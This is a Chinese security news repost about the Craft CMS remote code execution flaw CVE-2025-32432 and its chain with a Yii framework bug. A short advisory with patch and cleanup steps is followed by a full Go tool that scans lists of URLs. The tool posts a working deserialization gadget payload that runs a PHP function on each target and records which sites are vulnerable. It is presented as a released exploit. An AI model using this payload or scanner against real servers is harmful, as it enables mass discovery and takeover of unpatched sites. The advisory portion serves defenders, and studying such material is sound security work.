Craft CMS CVE-2025-32432 exp发布

admin 2025年4月28日17:07:37评论2 views字数 7886阅读26分17秒阅读模式
Craft CMS CVE-2025-32432 exp发布
Craft CMS 0day, CVE-2025-32432

安全研究员 Chocapikk 发布了一个 Metasploit 模块,用于影响 Craft CMS 的关键零日漏洞,该漏洞被追踪为 CVE-2025-32432 (CVSS 10)。 这种远程代码执行 (RCE) 漏洞,当与 Yii 框架中的另一个输入验证漏洞 (CVE-2024-58136) 结合使用时,已在野外被积极利用,以入侵服务器并窃取敏感数据。

CERT Orange Cyberdefense 的调查显示,攻击者利用 Craft CMS 中的两个零日 漏洞 链来入侵服务器并窃取数据,目前正在持续 利用 。

攻击分两个阶段进行:

  • CVE-2025-32432 – Craft CMS 中的远程代码执行: 攻击者发送一个包含“return URL”参数的特制 HTTP 请求,该参数被不正确地保存到 PHP 会话文件中。然后,会话名称在 HTTP 响应中返回。
  • CVE-2024-58136 – Yii 框架输入验证缺陷: 发送恶意 JSON 负载,利用输入验证缺陷触发 PHP 代码从精心设计的会话文件执行。

这种巧妙的漏洞链使攻击者能够在受感染的服务器上安装基于 PHP 的文件管理器,从而授予他们对系统的完全控制权。

SensePost 报告指出,攻击者的恶意 JSON 负载触发了服务器上会话文件中 PHP 代码的执行。

两个 漏洞 都已得到解决:

  • Craft CMS 已经为 CVE-2025-32432 发布了补丁,版本包括 3.9.15、4.14.15 和 5.6.17。
  • Yii Framework 在 2025 年 4 月 9 日发布的 Yii 2.0.52 中解决了 CVE-2024-58136。

Craft CMS 澄清说,尽管 Yii 框架本身没有在 Craft 中升级,但他们通过自己的补丁缓解了特定的攻击媒介。

强烈建议怀疑遭到入侵的 Craft CMS 管理员采取以下措施:

  • 通过运行 php craft setup/security-key 刷新 CRAFT_SECURITY_KEY。
  • 轮换所有私钥和数据库凭据。
  • 强制所有用户重置密码,使用 php craft resave/users –set passwordResetRequired –to “fn() => true”

由于利用尝试仍在继续,情况依然严峻。Chocapikk 发布了专门的 Metasploit 模块 ,进一步降低了攻击者的门槛。

有关详细的入侵指标 (IOC),包括 IP 地址和文件名,请参阅完整的 SensePost 报告(https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/#iocs)。

  • https://github.com/Chocapikk/CVE-2025-32432

  • https://github.com/rapid7/metasploit-framework/pull/20085

    package main
    
    import (
    	"bufio"
    	"bytes"
    	"context"
    	"crypto/tls"
    	"encoding/json"
    	"errors"
    	"io"
    	"math/rand"
    	"net/http"
    	"net/http/cookiejar"
    	"os"
    	"sync"
    	"time"
    
    	"github.com/antchfx/htmlquery"
    	"github.com/charmbracelet/lipgloss"
    	"github.com/charmbracelet/log"
    	"github.com/google/uuid"
    	"github.com/schollz/progressbar/v3"
    	"github.com/spf13/cobra"
    )
    
    const CVE = "CVE-2025-32432"
    
    var (
    	safeStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("2")) // green
    	vulnStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("1")) // red
    	errStyle  = lipgloss.NewStyle().Foreground(lipgloss.Color("3")) // yellow
    )
    
    func Must[T any](val T, err error) T {
    	if err != nil {
    		panic(err)
    	}
    	return val
    }
    
    func Try(fn func()) (err error) {
    	defer func() {
    		if r := recover(); r != nil {
    			if e, ok := r.(error); ok {
    				err = e
    			} else {
    				panic(r)
    			}
    		}
    	}()
    	fn()
    	return
    }
    
    func randomPayload() map[string]interface{} {
    	sessionKey := "as " + uuid.New().String()
    	return map[string]interface{}{
    		"assetId": rand.Intn(991) + 10,
    		"handle": map[string]interface{}{
    			"width":  rand.Intn(901) + 100,
    			"height": rand.Intn(901) + 100,
    			sessionKey: map[string]interface{}{
    				"class":         "craft\\behaviors\\FieldLayoutBehavior",
    				"__class":       "GuzzleHttp\\Psr7\\FnStream",
    				"__construct()": []interface{}{[]interface{}{}},
    				"_fn_close":     "phpcredits",
    			},
    		},
    	}
    }
    
    type Checker interface {
    	FetchCSRF(ctx context.Context) (string, error)
    	CheckTransform(ctx context.Context, csrf string) (bool, error)
    }
    
    type httpChecker struct {
    	baseURL string
    	*http.Client
    	*log.Logger
    	manager *Manager
    }
    
    func NewHTTPChecker(baseURL string, logger *log.Logger, timeout time.Duration, manager *Manager) (Checker, error) {
    	jar, err := cookiejar.New(nil)
    	if err != nil {
    		return nil, err
    	}
    	transport := &http.Transport{
    		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    		Proxy:           http.ProxyFromEnvironment,
    	}
    	client := &http.Client{Jar: jar, Timeout: timeout, Transport: transport}
    	return &httpChecker{baseURL, client, logger, manager}, nil
    }
    
    func (c *httpChecker) FetchCSRF(ctx context.Context) (string, error) {
    	var token string
    	err := Try(func() {
    		token = Must(c.fetchCSRFToken(ctx, c.baseURL+"?p=admin/dashboard"))
    		if token == "" {
    			c.manager.logDebug("FetchCSRF", c.baseURL+"?p=admin/dashboard", "CSRF not found, fallback to /", "")
    			token = Must(c.fetchCSRFToken(ctx, c.baseURL))
    			if token == "" {
    				panic(errors.New("CSRF token not found"))
    			}
    		}
    	})
    	return token, err
    }
    
    func (c *httpChecker) fetchCSRFToken(ctx context.Context, url string) (string, error) {
    	req := Must(http.NewRequestWithContext(ctx, http.MethodGet, url, nil))
    	resp := Must(c.Do(req))
    	defer resp.Body.Close()
    
    	doc := Must(htmlquery.Parse(resp.Body))
    	node := htmlquery.FindOne(doc, "//input[@name='CRAFT_CSRF_TOKEN']")
    	if node != nil {
    		token := htmlquery.SelectAttr(node, "value")
    		c.manager.logDebug("fetchCSRFToken", url, "found CSRF token", token)
    		return token, nil
    	}
    	return "", nil
    }
    
    func (c *httpChecker) CheckTransform(ctx context.Context, csrf string) (bool, error) {
    	var vuln bool
    	err := Try(func() {
    		data := Must(json.Marshal(randomPayload()))
    		req := Must(http.NewRequestWithContext(ctx, http.MethodPost, c.baseURL+"?p=admin/actions/assets/generate-transform", bytes.NewReader(data)))
    		req.Header.Set("Content-Type", "application/json")
    		req.Header.Set("X-CSRF-Token", csrf)
    		resp := Must(c.Do(req))
    		defer resp.Body.Close()
    		body := Must(io.ReadAll(resp.Body))
    		vuln = bytes.Contains(body, []byte("PHP Credits"))
    	})
    	return vuln, err
    }
    
    type Options struct {
    	Debug   bool
    	Threads int
    	Timeout time.Duration
    	Output  string
    }
    
    type Manager struct {
    	factory Factory
    	logger  *log.Logger
    	targets []string
    	outFile *os.File
    	bar     *progressbar.ProgressBar
    	opts    Options
    }
    
    type Factory func(baseURL string) (Checker, error)
    
    func NewManager(opts Options, targets []string) (*Manager, error) {
    	logger := log.New(os.Stderr)
    	if opts.Debug {
    		logger.SetLevel(log.DebugLevel)
    	}
    	var out *os.File
    	if opts.Output != "" {
    		f, err := os.Create(opts.Output)
    		if err != nil {
    			return nil, err
    		}
    		out = f
    	}
    	var bar *progressbar.ProgressBar
    	if len(targets) > 1 {
    		bar = progressbar.NewOptions(len(targets),
    			progressbar.OptionSetWriter(os.Stdout),
    			progressbar.OptionShowCount(),
    			progressbar.OptionSetWidth(40),
    			progressbar.OptionClearOnFinish(),
    		)
    	}
    
    	mgr := &Manager{
    		logger:  logger,
    		targets: targets,
    		outFile: out,
    		bar:     bar,
    		opts:    opts,
    	}
    
    	mgr.factory = func(url string) (Checker, error) { return NewHTTPChecker(url, logger, opts.Timeout, mgr) }
    
    	return mgr, nil
    }
    
    func (m *Manager) Run() error {
    	var wg sync.WaitGroup
    	jobs := make(chan string, m.opts.Threads)
    
    	worker := func() {
    		defer wg.Done()
    		for tgt := range jobs {
    			ctx, cancel := context.WithTimeout(context.Background(), m.opts.Timeout)
    			if err := Try(func() {
    				chk := Must(m.factory(tgt))
    				csrf := Must(chk.FetchCSRF(ctx))
    				vuln := Must(chk.CheckTransform(ctx, csrf))
    				if vuln {
    					m.printResult("VULNERABLE", tgt)
    					if m.outFile != nil {
    						m.writeLine(tgt)
    					}
    				} else {
    					m.printResult("SAFE", tgt)
    				}
    			}); err != nil {
    				m.logErr("run", tgt, err, cancel)
    			} else {
    				cancel()
    				m.advance()
    			}
    		}
    	}
    
    	for i := 0; i < m.opts.Threads; i++ {
    		wg.Add(1)
    		go worker()
    	}
    	for _, t := range m.targets {
    		jobs <- t
    	}
    	close(jobs)
    	wg.Wait()
    
    	if m.outFile != nil {
    		m.outFile.Close()
    	}
    	if m.bar != nil {
    		m.bar.Finish()
    	}
    	return nil
    }
    
    func (m *Manager) logErr(stage, target string, err error, cancel context.CancelFunc) {
    	cancel()
    	if m.opts.Debug {
    		if m.bar != nil {
    			progressbar.Bprintln(m.bar, errStyle.Render("ERROR"), target, "-", err.Error())
    		} else {
    			m.logger.Error(stage, "target", target, "error", err)
    		}
    	}
    	m.advance()
    }
    
    func (m *Manager) logDebug(stage, target, msg, value string) {
    	if !m.opts.Debug {
    		return
    	}
    	if m.bar != nil {
    		progressbar.Bprintln(m.bar, errStyle.Render("DEBUG"), target, "-", msg, value)
    	} else {
    		m.logger.Debug(stage, "target", target, "msg", msg, "value", value)
    	}
    }
    
    func (m *Manager) printResult(status, target string) {
    	if m.bar != nil {
    		var styled string
    		if status == "SAFE" {
    			styled = safeStyle.Render(status)
    		} else {
    			styled = vulnStyle.Render(status)
    		}
    		progressbar.Bprintln(m.bar, styled, target)
    	} else {
    		m.logger.Info(status, "target", target, "cve", CVE)
    	}
    }
    
    func (m *Manager) advance() {
    	if m.bar != nil {
    		m.bar.Add(1)
    	}
    }
    
    func (m *Manager) writeLine(line string) {
    	if m.outFile != nil {
    		m.outFile.WriteString(line + "\n")
    	}
    }
    
    var (
    	urlFlag     string
    	fileFlag    string
    	outputFlag  string
    	threads     int
    	debugFlag   bool
    	timeoutFlag time.Duration
    	rootCmd     = &cobra.Command{Use: "checker", Short: "Check for " + CVE + " vulnerability", RunE: run}
    )
    
    func init() {
    	rootCmd.Flags().StringVar(&urlFlag, "url", "", "target URL")
    	rootCmd.Flags().StringVar(&fileFlag, "file", "", "file of URLs")
    	rootCmd.Flags().StringVar(&outputFlag, "output", "", "vulnerable URLs output")
    	rootCmd.Flags().IntVar(&threads, "threads", 15, "concurrent workers")
    	rootCmd.Flags().BoolVar(&debugFlag, "debug", false, "verbose debug")
    	rootCmd.Flags().DurationVar(&timeoutFlag, "timeout", 15*time.Second, "timeout")
    }
    
    func run(cmd *cobra.Command, args []string) error {
    	return Try(func() {
    		if urlFlag == "" && fileFlag == "" {
    			panic(errors.New("either --url or --file must be specified"))
    		}
    		targets := Must(collectTargets(urlFlag, fileFlag))
    		opts := Options{Debug: debugFlag, Threads: threads, Timeout: timeoutFlag, Output: outputFlag}
    		mgr := Must(NewManager(opts, targets))
    		mgr.Run()
    	})
    }
    
    func collectTargets(u, f string) ([]string, error) {
    	if f == "" {
    		return []string{u}, nil
    	}
    	file, err := os.Open(f)
    	if err != nil {
    		return nil, err
    	}
    	defer file.Close()
    
    	var t []string
    	scanner := bufio.NewScanner(file)
    	for scanner.Scan() {
    		t = append(t, scanner.Text())
    	}
    	return t, scanner.Err()
    }
    
    func main() {
    	if err := rootCmd.Execute(); err != nil {
    		os.Exit(1)
    	}
    }

原文始发于微信公众号(独眼情报):Craft CMS CVE-2025-32432 exp发布

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月28日17:07:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Craft CMS CVE-2025-32432 exp发布https://cn-sec.com/archives/4010948.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息